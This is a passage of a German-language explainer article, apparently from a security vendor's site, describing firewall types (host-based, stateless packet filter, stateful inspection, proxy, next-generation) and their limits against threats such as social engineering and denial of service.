ungeeignet wären. Hostbasierte Firewall – Hostbasierte Firewalls werden auf einzelnen Computergeräten eingesetzt, um den Datenverkehr zu regulieren, und bieten eine zweite Verteidigungslinie, wenn eine eigenständige Firewall oder eine Router-Firewall aktiv ist. Betriebssysteme wie Windows und MacOS verfügen in der Regel über eine vorinstallierte Firewall, die jedoch möglicherweise aktiviert werden muss. Zu den Firewall-Funktionalitäten gehören unter anderem die folgenden: Statische Paketfilter-Firewall (auch bekannt als zustandslose Inspektions-Firewall) – Überprüft alle einzelnen Pakete, die über ein Netzwerk gesendet werden, anhand von Quelle und Ziel. Die Filterung erfolgt anhand von IP-Adressen, Portnummern und dem verwendeten Protokoll. Die Regeln (bekannt als Zugriffskontrollliste) werden vom Systemadministrator festgelegt und können bei Bedarf geändert werden. Frühere Verbindungen und Datenkontexte werden nicht verfolgt oder berücksichtigt, was eine schnelle, aber vergleichsweise wenig ausgefeilte Filtermethode ermöglicht. Stateful Inspection Firewall – Wie eine statische Paketfilter-Firewall überprüft auch eine Stateful Inspection Firewall die IP-Adressen, Portnummern und das für die Übertragung verwendete Protokoll. Die Stateful Inspection-Methode verfolgt jedoch auch frühere Verbindungen in einer Zustandstabelle. Dies ermöglicht eine dynamische Filtermethode, die auf früheren guten oder problematischen Verbindungen in Verbindung mit den von Systemadministratoren festgelegten allgemeinen Regeln basiert. Proxy-Firewall – Eine Art Proxy-Server, der als Vermittler zwischen einem privaten Netzwerk und dem Internet fungiert. Die Daten werden vom Proxy-Server gefiltert, bevor sie weitergeleitet werden. Als frühe Form des Datenschutzes sind Proxy-Firewalls auch heute noch weit verbreitet. Next-Generation Firewall (NGFW) – NGFW-Systeme verfügen über erweiterte Firewall-Schutzfunktionen, darunter intelligente Zugriffskontrolle, integriertes Intrusion Prevention System, Anwendungserkennung und vieles mehr. Sind Firewalls notwendig? Ja, Sie benötigen eine Firewall. Nahezu jedes mit dem Internet verbundene Computergerät benötigt eine Firewall. Höchstwahrscheinlich verfügen Sie bereits über eine Firewall zwischen Ihrem Computer und dem offenen Internet. Heimrouter sind in der Regel standardmäßig mit einer Firewall ausgestattet, und Ihr Internetdienstanbieter verwendet möglicherweise eine cloudbasierte Firewall-Lösung, um zu verhindern, dass bösartiger Datenverkehr an Ihr System weitergeleitet wird. Auf Host-Ebene verfügen sowohl Windows als auch MacOS über Firewalls, die jedoch möglicherweise nicht standardmäßig aktiviert sind. Unternehmen verfügen in der Regel über Router oder eigenständige Geräte mit Firewall, was Ihnen vielleicht schon aufgefallen ist, weil Sie Facebook oder andere als unproduktiv eingestufte Dienste nicht besuchen können. Ohne diesen grundlegenden Datenschutz wären Ihre Geräte, einschließlich IoT-Geräte (Internet of Things) und Netzwerkgeräte, anfälliger für Bedrohungen von außen. Auch wenn Firewalls manchmal einschränkend wirken und sogar die Leistung beeinträchtigen können, lohnt sich der Einsatz dieser Art von Filtergeräten. Schützt eine Firewall Systeme vor Cyber-Bedrohungen? Eine Firewall ist zwar ein gutes Mittel, um ein Netzwerk, eine Cloud-Infrastruktur oder einzelne Hosts (d. h. Computer) vor Eindringlingen zu schützen, aber sie kann nicht jede Bedrohung beseitigen. Bedenken Sie, dass Cyberangriffe, wie hier beschrieben, viele Formen annehmen können, die weit über das Eindringen in ein Netzwerk aus dem offenen Internet hinausgehen. Durch Social Engineering und die Kompromittierung von Konten können Eindringlinge Zugangsdaten erhalten, um sich in Ihr Netzwerk einzuloggen und möglicherweise Malware zu installieren, die dann intern Chaos anrichten kann. Exploits ermöglichen Angriffe unter Ausnutzung unbekannter oder nicht gepatchter Schwachstellen, und Denial-of-Service-Angriffe überfluten ein Netzwerk einfach mit Datenverkehr und machen es damit weitgehend unbrauchbar. Selbst mit einer ordnungsgemäß eingerichteten und gewarteten Firewall müssen wir weiterhin wachsam sein, um Bedrohungen zu mindern und darauf zu reagieren. Firewalls können den Zugriff auf unproduktive und explizite Websites einschränken Im Rahmen dieses Artikels befassen wir uns hauptsächlich mit Firewalls im Zusammenhang mit dem Eindringen böswilliger Akteure und Datenquellen, die eine erste Verteidigungslinie in der Cybersicherheit bilden. Firewalls werden jedoch auch in Form von Kindersicherungen in Privathaushalten und Schulen eingesetzt, um Kinder davon abzuhalten, explizite Inhalte anzusehen. In Unternehmen können Arbeitgeber den Zugriff ihrer Mitarbeiter auf bestimmte Websites über deren Arbeitscomputer einschränken, um die Produktivität zu steigern und überflüssigen Datenverbrauch zu vermeiden. Natürlich können Mitarbeiter in unserem Zeitalter der Smartphones solche Produktivitätsbeschränkungen in der Regel umgehen. Zumindest belastet dies nicht die Bandbreite des Unternehmens, obwohl dies im Allgemeinen kein großes Problem darstellt. Man könnte es als etwas ironisch empfinden, in diesem Zusammenhang einen Proxy-Server zu verwenden, da dies bedeutet, eine Technologie zu implementieren, die als eine Art Firewall eingesetzt werden kann, um eine andere Firewall zu umgehen. Die Internet-Technologie, ob legal, kriminell oder irgendwo dazwischen, funktioniert überraschend gut, wenn man bedenkt, wie viel Ausrüstung und Programmierung erforderlich ist, um Daten mit unglaublichen Übertragungsgeschwindigkeiten über große Entfernungen zu versenden. Fazit | Firewalls sind ein guter erster Schritt in Richtung Cybersicherheit Firewalls haben eine lange Geschichte in der Computerbranche und sorgen seit über drei Jahrzehnten für die Sicherheit von Netzwerken. Dennoch wird bis heute diskutiert, ob Firewalls noch immer sinnvoll sind. Schließlich ist ein direkter Angriff auf die Netzwerkperimeter aus dem Internet bei weitem nicht die einzige Bedrohung für Cyberangriffe. In der Realität kann die Sicherheit eines Routers zwar überwunden werden, aber dieser grundlegende Schutz ist dennoch nützlich, um viele Bedrohungen abzuwehren. Für die allgemeine Cybersicherheit ist mehr als eine Firewall erforderlich. Mit dem richtigen Team und den richtigen Tools können Cybersicherheitsbedrohungen abgewehrt werden, aber Netzwerkverteidiger müssen stets wachsam bleiben."

Mehr lesen
Was ist Ransomware-Rollback?Cybersecurity

Was ist Ransomware-Rollback?

Ransomware-Rollback kann Systeme nach einem Angriff wiederherstellen. Erfahren Sie, wie diese Funktion funktioniert und welche Bedeutung sie für die Reaktion auf Vorfälle hat.

Mehr lesen

Erleben Sie die fortschrittlichste Cybersecurity-Plattform

Erfahren Sie, wie die intelligenteste und autonomste Cybersicherheitsplattform der Welt Ihr Unternehmen heute und in Zukunft schützen kann.

Demo anfordern